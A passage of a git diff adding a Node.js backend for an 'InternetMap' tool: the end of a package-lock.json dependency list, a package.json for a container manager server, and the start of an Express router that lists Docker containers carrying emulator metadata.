"https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + } + } + }, + "buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "buffer-from": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", + "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==" + }, + "bytes": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", + "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==" + }, + "chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==" + }, + "content-disposition": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", + "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "requires": { + "safe-buffer": "5.1.2" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, + "content-type": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", + "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" + }, + "cookie": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", + "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==" + }, + "cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "requires": { + "ms": "2.1.2" + } + }, + "depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" + }, + "destroy": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", + "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" + }, + "docker-modem": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/docker-modem/-/docker-modem-2.1.4.tgz", + "integrity": "sha512-vDTzZjjO1sXMY7m0xKjGdFMMZL7vIUerkC3G4l6rnrpOET2M6AOufM8ajmQoOB+6RfSn6I/dlikCUq/Y91Q1sQ==", + "requires": { + "debug": "^4.1.1", + "readable-stream": "^3.5.0", + "split-ca": "^1.0.1", + "ssh2": "^0.8.7" + } + }, + "dockerode": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/dockerode/-/dockerode-3.2.1.tgz", + "integrity": "sha512-XsSVB5Wu5HWMg1aelV5hFSqFJaKS5x1aiV/+sT7YOzOq1IRl49I/UwV8Pe4x6t0iF9kiGkWu5jwfvbkcFVupBw==", + "requires": { + "docker-modem": "^2.1.0", + "tar-fs": "~2.0.1" + } + }, + "ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" + }, + "encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=" + }, + "end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "requires": { + "once": "^1.4.0" + } + }, + "escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" + }, + "etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=" + }, + "express": { + "version": "4.17.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", + "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", + "requires": { + "accepts": "~1.3.7", + "array-flatten": "1.1.1", + "body-parser": "1.19.0", + "content-disposition": "0.5.3", + "content-type": "~1.0.4", + "cookie": "0.4.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "~1.1.2", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "~1.1.2", + "fresh": "0.5.2", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.5", + "qs": "6.7.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.1.2", + "send": "0.17.1", + "serve-static": "1.14.1", + "setprototypeof": "1.1.1", + "statuses": "~1.5.0", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, + "express-ws": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/express-ws/-/express-ws-4.0.0.tgz", + "integrity": "sha512-KEyUw8AwRET2iFjFsI1EJQrJ/fHeGiJtgpYgEWG3yDv4l/To/m3a2GaYfeGyB3lsWdvbesjF5XCMx+SVBgAAYw==", + "requires": { + "ws": "^5.2.0" + }, + "dependencies": { + "ws": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-5.2.2.tgz", + "integrity": "sha512-jaHFD6PFv6UgoIVda6qZllptQsMlDEJkTQcybzzXDYM1XO9Y8em691FGMPmM46WGyLU4z9KMgQN+qrux/nhlHA==", + "requires": { + "async-limiter": "~1.0.0" + } + } + } + }, + "finalhandler": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz", + "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", + "requires": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "statuses": "~1.5.0", + "unpipe": "~1.0.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + } + } + }, + "forwarded": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz", + "integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=" + }, + "fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=" + }, + "fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" + }, + "http-errors": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", + "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", + "requires": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.1", + "statuses": ">= 1.5.0 < 2", + "toidentifier": "1.0.0" + }, + "dependencies": { + "inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + } + } + }, + "iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==" + }, + "media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=" + }, + "merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" + }, + "methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.45.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.45.0.tgz", + "integrity": "sha512-CkqLUxUk15hofLoLyljJSrukZi8mAtgd+yE5uO4tqRZsdsAJKv0O+rFMhVDRJgozy+yG6md5KwuXhD4ocIoP+w==" + }, + "mime-types": { + "version": "2.1.28", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.28.tgz", + "integrity": "sha512-0TO2yJ5YHYr7M2zzT7gDU1tbwHxEUWBCLt0lscSNpcdAfFyJOVEpRYNS7EXVcTLNj/25QO8gulHC5JtTzSE2UQ==", + "requires": { + "mime-db": "1.45.0" + } + }, + "mkdirp-classic": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", + "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==" + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "negotiator": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz", + "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==" + }, + "on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", + "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", + "requires": { + "ee-first": "1.1.1" + } + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "requires": { + "wrappy": "1" + } + }, + "parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==" + }, + "path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" + }, + "proxy-addr": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.6.tgz", + "integrity": "sha512-dh/frvCBVmSsDYzw6n926jv974gddhkFPfiN8hPOi30Wax25QZyZEGveluCgliBnqmuM+UJmBErbAUFIoDbjOw==", + "requires": { + "forwarded": "~0.1.2", + "ipaddr.js": "1.9.1" + } + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "qs": { + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", + "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==" + }, + "range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" + }, + "raw-body": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", + "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", + "requires": { + "bytes": "3.1.0", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + } + }, + "readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "send": { + "version": "0.17.1", + "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", + "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", + "requires": { + "debug": "2.6.9", + "depd": "~1.1.2", + "destroy": "~1.0.4", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "~1.7.2", + "mime": "1.6.0", + "ms": "2.1.1", + "on-finished": "~2.3.0", + "range-parser": "~1.2.1", + "statuses": "~1.5.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + } + } + }, + "ms": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" + } + } + }, + "serve-static": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", + "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", + "requires": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.17.1" + } + }, + "setprototypeof": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", + "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + }, + "source-map-support": { + "version": "0.5.19", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", + "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "split-ca": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/split-ca/-/split-ca-1.0.1.tgz", + "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY=" + }, + "ssh2": { + "version": "0.8.9", + "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-0.8.9.tgz", + "integrity": "sha512-GmoNPxWDMkVpMFa9LVVzQZHF6EW3WKmBwL+4/GeILf2hFmix5Isxm7Amamo8o7bHiU0tC+wXsGcUXOxp8ChPaw==", + "requires": { + "ssh2-streams": "~0.4.10" + } + }, + "ssh2-streams": { + "version": "0.4.10", + "resolved": "https://registry.npmjs.org/ssh2-streams/-/ssh2-streams-0.4.10.tgz", + "integrity": "sha512-8pnlMjvnIZJvmTzUIIA5nT4jr2ZWNNVHwyXfMGdRJbug9TpI3kd99ffglgfSWqujVv/0gxwMsDn9j9RVst8yhQ==", + "requires": { + "asn1": "~0.2.0", + "bcrypt-pbkdf": "^1.0.2", + "streamsearch": "~0.1.2" + } + }, + "statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=" + }, + "streamsearch": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz", + "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=" + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "requires": { + "safe-buffer": "~5.2.0" + } + }, + "tar-fs": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.0.1.tgz", + "integrity": "sha512-6tzWDMeroL87uF/+lin46k+Q+46rAJ0SyPGz7OW7wTgblI273hsBqk2C1j0/xNadNLKDTUL9BukSjB7cwgmlPA==", + "requires": { + "chownr": "^1.1.1", + "mkdirp-classic": "^0.5.2", + "pump": "^3.0.0", + "tar-stream": "^2.0.0" + } + }, + "tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "requires": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + } + }, + "toidentifier": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", + "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==" + }, + "tslog": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/tslog/-/tslog-3.0.5.tgz", + "integrity": "sha512-WyI2zFa6rVzXja6bKIZ9VeRKwHceqlUzCCo2IMsi6X5oswij95s3GJKve1Pr5bdlVIUMTsWaT/wtBiL7MT4PLQ==", + "requires": { + "source-map-support": "^0.5.19" + } + }, + "tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" + }, + "type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "requires": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + } + }, + "unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=" + }, + "vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=" + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + }, + "ws": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.4.2.tgz", + "integrity": "sha512-T4tewALS3+qsrpGI/8dqNMLIVdq/g/85U98HPMa6F0m6xTbvhXU6RCQLqPH3+SlomNV/LdY6RXEbBpMH6EOJnA==" + } + } +} diff --git a/tools/InternetMap/backend/package.json b/tools/InternetMap/backend/package.json new file mode 100644 index 000000000..c4d10edd2 --- /dev/null +++ b/tools/InternetMap/backend/package.json @@ -0,0 +1,23 @@ +{ + "name": "container-manager-server", + "version": "0.0.1", + "description": "container manager server", + "main": "src/main.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "nat ", + "license": "MIT", + "dependencies": { + "@types/dockerode": "^3.2.2", + "@types/express": "^4.17.11", + "@types/express-ws": "^3.0.0", + "@types/node": "^14.10.1", + "@types/ws": "^7.2.6", + "dockerode": "^3.2.1", + "express": "^4.17.1", + "express-ws": "^4.0.0", + "tslog": "^3.0.5", + "ws": "^7.3.1" + } +} diff --git a/tools/InternetMap/backend/src/api/v1/main.ts b/tools/InternetMap/backend/src/api/v1/main.ts new file mode 100644 index 000000000..e809ea3e3 --- /dev/null +++ b/tools/InternetMap/backend/src/api/v1/main.ts @@ -0,0 +1,410 @@ +import express from 'express'; +import {SocketHandler} from '../../utils/socket-handler'; +import dockerode from 'dockerode'; +import {SeedContainerInfo, Emulator, SeedNetInfo} from '../../utils/seedemu-meta'; +import {Sniffer} from '../../utils/sniffer'; +import {SubmitEvent} from '../../utils/submit-event'; +import {PluginManager} from '../../utils/plugin-manager'; +import WebSocket from 'ws'; +import {Controller} from '../../utils/controller'; + +const router = express.Router(); +const docker = new dockerode(); +const socketHandler = new SocketHandler(docker); +const sniffer = new Sniffer(docker); +const controller = new Controller(docker); +const submitEvent = new SubmitEvent(docker); +const pluginManager = new PluginManager(docker); + +const getContainers: () => Promise = async function () { + var containers: dockerode.ContainerInfo[] = await docker.listContainers(); + + var _containers: SeedContainerInfo[] = containers.map(c => { + var withMeta = c as SeedContainerInfo; + + withMeta.meta = { + hasSession: socketHandler.getSessionManager().hasSession(c.Id), + emulatorInfo: Emulator.ParseNodeMeta(c.Labels) + }; + + return withMeta; + }); + + // filter out undefine (not our nodes) + return _containers.filter(c => c.meta.emulatorInfo.name); +} + +socketHandler.getLoggers().forEach(logger => logger.setSettings({ + minLevel: 'warn' +})); + +sniffer.getLoggers().forEach(logger => logger.setSettings({ + minLevel: 'warn' +})); + 